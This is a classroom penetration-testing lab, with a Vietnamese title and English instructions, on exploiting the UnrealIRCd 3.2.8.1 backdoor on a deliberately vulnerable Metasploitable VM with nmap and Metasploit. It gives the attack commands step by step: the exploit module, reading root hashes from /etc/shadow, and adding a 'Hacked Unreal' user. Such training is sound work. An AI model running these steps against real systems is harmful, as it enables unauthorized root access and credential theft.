Bài Thực Hành Metasploit Framework Lesson 7 : Exploiting UnrealIRCD 3.2.8.1

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Section 0. Background Information

1. Metasploitable 
   • Metasploitable is an intentionally vulnerable Linux virtual machine.
   • This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.
   • http://www.offensive-security.com/metasploit-unleashed/Metasploitable
2. Pre-Requisite Lab
   • Metasploitable  : Lesson 1: Downloading and Configuring
    
3. What UnrealRCd?
   • UnrealIRCd is an open source IRC daemon, originally based on DreamForge, and is available for Unix-like operating systems and Windows. Since the beginning of development on UnrealIRCd circa May 1999, many new features have been added and modified, including advanced security features and bug fixes, and it has become a popular server.
4. exploit/unix/irc/unreal_ircd_3281_backdoor
   • This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
5. Lab Notes
   • In this lab we will do the following:
     1. Run an intense NMAP Scan on the Metasploitable VM
     2. Search for the Unreal Daemon
     3. Exploit the Unreal Daemon and obtain root.
6.  Bài Lab chỉ dùng cho môi trường lớp học
   
    

Section 1. Start Up the Metasploitable VM

1. Start Up VMWare Player
   • Instructions:
     1. Click the Start Button
     2. Type Vmplayer in the search box
     3. Click on Vmplayer
   • 
2. Open a Virtual Machine
   • Instructions:
     1. Click on Open a Virtual Machine
   • 
3. Open the Metasploitable VM
   • Instructions:
     1. Navigate to where the Metasploitable VM is located
     2. Click on on the Metasploitable VM
     3. Click on the Open Button
   • 
4. Edit the Metasploitable VM
   • Instructions:
     1. Select Metasploitable2-Linux VM
     2. Click Edit virtual machine settings
   • 
5. Edit the Metasploitable VM
   • Instructions:
     1. Click on "Network Adapter NAT"
     2. Select the radio button "Bridged: Connected directly to the physical network"
     3. Click on the OK button
   • Warning:
     • By changing from NAT to Bridged opens the VM and network up to potential attacks.
     • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
   • 
6. Play the Metasploitable VM
   • Instructions:
     1. Click on the Metasploitable VM
     2. Click on Play virtual machine
   • 

Section 2. Determine Metasploitable IP Address

1. Logging into Metasploitable
   • Instructions
     1. Username: msfadmin
     2. Password: msfadmin or whatever you changed it to in lesson 1.
   • 
2. Determine Metasploitable IP Address
   • Instructions:
     1. ifconfig -a
   • Note(FYI):
     • This is the IP Address of the Victim Machine.
     • My IP Address is 192.168.1.109.
     • Record your IP Address.
   • 

Section 4. Start Up the BackTrack5R1 VM

1. Start Up VMWare Player
   • Instructions:
     1. Click the Start Button
     2. Type Vmplayer in the search box
     3. Click on Vmplayer
   • 
2. Open a Virtual Machine
   • Instructions:
     1. Click on Open a Virtual Machine
   • 
3. Open the BackTrack5R1 VM
   • Instructions:
     1. Navigate to where the BackTrack5R1 VM is located
     2. Click on on the BackTrack5R1 VM
     3. Click on the Open Button
   • 
4. Edit the BackTrack5R1 VM
   • Instructions:
     1. Select BackTrack5R1 VM
     2. Click Edit virtual machine settings
   • 
5. Edit Virtual Machine Settings
   • Instructions:
     1. Click on Network Adapter
     2. Click on the Bridged Radio button
     3. Click on the OK Button
   • 
6. Play the BackTrack5R1 VM
   • Instructions:
     1. Click on the BackTrack5R1 VM
     2. Click on Play virtual machine
   • 
7. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 
8. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 
9. Start up a terminal window
   • Instructions:
     1. Click on the Terminal Window
   • 
10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.111
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).
    • 

Section 5. Scanning the Victim with NMAP

1. Run Intense NMAP Scan on the Metasploitable VM
   • Note(FYI):
     • Replace 192.168.1.109 with the Metasploitable IP Address obtained from (Section 2, Step 2).
     • This intense NMAP scan could take 3 to 5 minutes to run.
   • Instructions:
     1. nmap -p 1-65535 -T4 -A -v 192.168.1.109 2>&1 | tee /var/tmp/scan.txt
   • 
2. Looking for Unreal
   • Instructions:
     1. cd /var/tmp
     2. egrep -i '(6667|6697|unreal)' scan.txt
   • Note(FYI):
     • Unreal ircd runs on port 6667 and 6697.
   • 

Section 6. Exploit UnrealIRCD 3.2.8.1 Backdoor Command Execution

1. Start the Metasploit Console
   • Instructions:
     1. msfconsole
   • 
2. Use the UnrealIRCD 3.2.8.1 Backdoor Command Execution Exploit
   • Instructions:
     1. search unreal
     2. use exploit/unix/irc/unreal_ircd_3281_backdoor
   • 
3. Set RHOST (Victim IP Address)
   • Instructions:
     1. show options
     2. set RHOST 192.168.1.109
   Note(FYI):
   • Replace 192.168.1.109 with the Metasploitable IP Address obtained from (Section 2, Step 2).
   • 
4. Exploit
   • Instructions:
     1. exploit
   Note(FYI):
   • Now you should see a Command Shell Session opened between BackTrack to Metasploitable.
   • 
5. Got Root?
   • Instructions:
     1. whoami
     2. hostname
     3. grep root /etc/shadow
   Note(FYI):
   • Congratulations you now have root.
   • 

Section 7. Proof of Lab

1. Proof of Lab
   • Instructions:
     1. whoami
     2. useradd -m -d /home/student2 -c "Hacked Unreal" -s /bin/bash student2
     3. grep student2 /etc/passwd
     4. date
     5. echo "Your Name"
        • Put in your actual name in place of "Your Name"
        • e.g., echo "John Gray"
   • Proof of Lab Instructions
     1. Press the <Ctrl> and <Alt> key at the same time.
     2. Press the <PrtScn> key.
     3. Paste into a word document
     4. Upload to Www.AnToanThongTin.Edu.Vn
   •